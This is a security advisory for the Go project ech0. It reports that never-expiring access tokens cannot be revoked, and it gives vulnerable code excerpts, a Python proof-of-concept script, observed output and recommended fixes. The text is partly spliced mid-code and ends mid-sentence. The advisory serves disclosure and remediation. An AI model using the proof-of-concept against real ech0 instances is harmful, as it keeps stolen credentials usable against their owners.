GHSA-fpw6-hrg5-q5x5 ech0's acess tokens with expiry=never cannot be revoked: logout panics, delete does not blacklist JTI

• Go github.com/lin-snow/ech0: < 1.4.8-0.20260503041146-eab62379c795 → fixed in 1.4.8-0.20260503041146-eab62379c795

Summary Access tokens created with the "never expire" option have no `exp` JWT claim. Three independent revocation mechanisms fail for this token type. Logout at `internal/handler/auth/auth.go:154` and `:163` dereferences `claims.ExpiresAt.Time`, panicking on the nil field so the token never hits the blacklist. `RevokeToken` at `internal/repository/auth/auth.go:45-50` skips when `remainTTL 0 { claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second)) } ``` For `NEVER_EXPIRY`, `expiry = 0` and the conditional skips. The resulting JWT has no `exp` claim. The middleware at `internal/middleware/auth.go` accepts it; the `jwt/v5` parser does not require `exp` by default. Failure mode 1, logout panic at `internal/handler/auth/auth.go:163`: ```go // Refresh-token revocation at line 154 (safe in practice: refresh tokens always have exp). // Access-token revocation, same pattern, at line 163 (the bug): if claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != "" { remaining := time.Until(claims.ExpiresAt.Time) // nil deref when ExpiresAt is nil h.authService.RevokeToken(claims.ID, remaining) } ``` For a never-expire access token, `claims.ExpiresAt` is nil. `claims.ExpiresAt.Time` panics. Gin's Recovery middleware catches it and returns HTTP 500; the JTI never reaches `RevokeToken`. Line 154 shares the same pattern against refresh tokens, but refresh tokens are always issued with an expiry so the nil dereference does not fire there in practice. Failure mode 2, `RevokeToken` skip at `internal/repository/auth/auth.go:45-50`: ```go func (authRepository *AuthRepository) RevokeToken(jti string, remainTTL time.Duration) { if jti == "" || remainTTL /api/user: HTTP {r.status_code}") 3) Failure mode #1 — logout panics on nil ExpiresAt. r = requests.post(f"{TARGET}/api/auth/logout", headers={"Authorization": f"Bearer {tok}"}) print(f" logout: HTTP {r.status_code} (500 = Recovery middleware caught the panic)") 4) Failure mode #3 — admin delete does not blacklist the JTI. listed = requests.get(f"{TARGET}/api/access-tokens", headers={"Authorization": f"Bearer {owner}"}).json()["data"] poc_row = next(t for t in listed if t["name"] == "poc-irrevocable") r = requests.delete(f"{TARGET}/api/access-tokens/{poc_row['id']}", headers={"Authorization": f"Bearer {owner}"}) print(f" admin delete: HTTP {r.status_code} {r.text}") 5) Token should now be invalid if delete blacklisted. Test it. r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"}) print(f" after delete, token -> /api/user: HTTP {r.status_code}") print(f" response body: {r.text[:150]}") ``` Observed on v4.5.6 in the test container: ``` exp claim: None (None = never expires) jti: 019daf86-6354-7c2d-9ff1-180de87667b3 token -> /api/user: HTTP 200 logout: HTTP 500 (500 = Recovery middleware caught the panic) admin delete: HTTP 200 {"code":1,"msg":"删除访问令牌成功","data":null} after delete, token -> /api/user: HTTP 200 response body: {"code":1,"msg":"获取用户信息成功","data":{"id":"019daf76-b5d2-7778-a90a-e943872b2946","username":"owner","email":"[email protected]","is_admin":true,"is_owner":true,...}} ``` After the admin "deleted" the token, the same JWT string still returns the owner's profile data. The token stays valid with no path to invalidate it short of rotating `JWT_SECRET`. Impact The "never expire" option is intended for CLI and integration use cases where rotating tokens is expensive. When one of those tokens leaks (configuration file committed to a public repo, developer laptop compromised, log file uploaded by mistake), the admin has no remediation that does not nuke every other user's session. A compromised token gives the attacker: • Perpetual authenticated access at whatever scopes the token holds until the JWT secret is rotated. • Admin's "revoke" UI button lies. The token row disappears from the panel but the bearer keeps working. The admin believes they mitigated the incident. • Instance-wide blast radius on proper revocation. The only working fix (rotate JWT_SECRET) forces every user to log in again and invalidates every other access token. Security incidents force operators into an all-or-nothing choice. Precondition: token theft. A stolen token is the standard threat model for any long-lived credential; the point of revocation is that stolen credentials can be invalidated. Ech0 currently has no working path to do that for the "never expire" class. Recommended Fix Three coordinated changes, matching the three failure modes: 1. Replace "never expire" with a very long expiry (for example 10 years) so every token has a finite `exp` claim. This removes the conditional at `jwt.go:103` entirely: ```go if expiry == model.NEVER_EXPIRY { expiry = int64((10 * 365 * 24 * time.Hour).Seconds()) } claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second)) ``` 2. If the "never expire" semantics must be preserved, make logout handle nil `ExpiresAt` explicitly: ```go if claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != "" { var remaining time.Duration if claims.ExpiresAt != nil { remaining = time.Until(claims.ExpiresAt.Time) } else { remaining = 365 * 24 * time.Hour } h.authService.RevokeToken(claims.ID, remaining) } ``` And accept non-positive TTLs in `RevokeToken` by substitut…